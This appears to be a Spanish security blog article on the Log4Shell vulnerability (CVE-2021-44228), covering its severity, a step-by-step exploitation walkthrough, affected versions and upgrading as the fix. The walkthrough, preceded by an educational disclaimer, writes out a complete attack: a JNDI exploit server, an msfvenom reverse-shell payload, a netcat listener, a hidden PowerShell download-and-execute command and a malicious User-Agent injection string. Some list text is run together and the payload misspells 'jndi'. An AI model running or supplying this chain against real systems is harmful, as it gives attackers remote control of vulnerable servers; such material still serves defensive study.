
Log4Shell (CVE-2021-44228): Descripción, Explotación y Mitigación
El 9 de diciembre de 2021 el mundo conoció una nueva falla de seguridad relacionada con Log4J. La puntuación CVSSv3 (Common Vulnerability Scoring System) de la vulnerabilidad fue evaluada en 10, lo que la convierte en nivel crítico (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).
Su vector CVSSv3 es el siguiente: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Aclaremos un poco los valores para que se comprenda plenamente el motivo de la evaluación:
Log4J es una librería de Java, ahora parte del proyecto Apache Software Foundation, que permite mantener bajo control el estado de una aplicación.
Es el estándar de facto para el logging de las aplicaciones Java.
La vulnerabilidad se basa en JNDI (Java Naming and Directory Interface): una API de Java que permite a una aplicación interactuar con un servicio de directorio externo (por ejemplo, LDAP).
La interacción se produce a través de la funcionalidad de lookup de JNDI que, habilitada en la configuración por defecto de Log4J, permite la interacción con un servidor remoto.
Algunas precisiones útiles para la lectura:
10.0.0.110.0.0.2x8680 y accesible en la URL http://hackme.com| ❗ ATENCIÓN ❗ |
|---|
| La técnica de ataque descrita a continuación debe servir únicamente para comprender la peligrosidad real de la vulnerabilidad en cuestión. El autor se desmarca y condena cualquier uso indebido del siguiente artículo. |
El objetivo del siguiente ataque es explotar Log4Shell para conseguir descargar y ejecutar una reverse shell en el sistema vulnerable y así tener control total sobre él.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom para poder recibir, en el puerto 8888, el acceso remoto a la máquinamsfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
nc, en el puerto 8888 para recibir la conexión de la reverse shell cargada en la máquina vulnerablenc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp y ejecutarlopowershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64 mediante el siguiente comandoecho 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
El resultado del comando anterior es el siguiente:
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent de un visitante. El atacante envía una solicitud similar a:GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
se pasa a Log4J, que la interpreta y, a través de JNDI, realiza la solicitud al servidor LDAP del atacante
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
El malware se descarga y se ejecuta.
El atacante obtiene una shell de la máquina en el puerto 8888.
Ante todo, es necesario recordar que es una vulnerabilidad que afecta SOLO al software que utiliza Java o algún derivado (y, obviamente, Log4J como librería de logging).
2.0-beta9 - 2.14.1: Las versiones vulnerables a Log4Shell van desde la 2.0-beta9 hasta la 2.14.1.2.15.0: La versión 2.15.0 de Log4J ha sido encontrada vulnerable. CVE-2021-45046. Por el momento, la evaluación de la vulnerabilidad es "9.0 Critical".2.16.0: La versión 2.16.0 de Log4J ha sido encontrada vulnerable. CVE-2021-45105. Por el momento, la evaluación de la vulnerabilidad es "7.5 High".La versión 1.x de Log4J no es estrictamente vulnerable a la falla de seguridad de referencia, pero, además de haber quedado en desuso en 2015, está afectada por la siguiente vulnerabilidad: CVE-2021-4104.
La mejor solución es actualizar Log4J a la versión 2.17.0.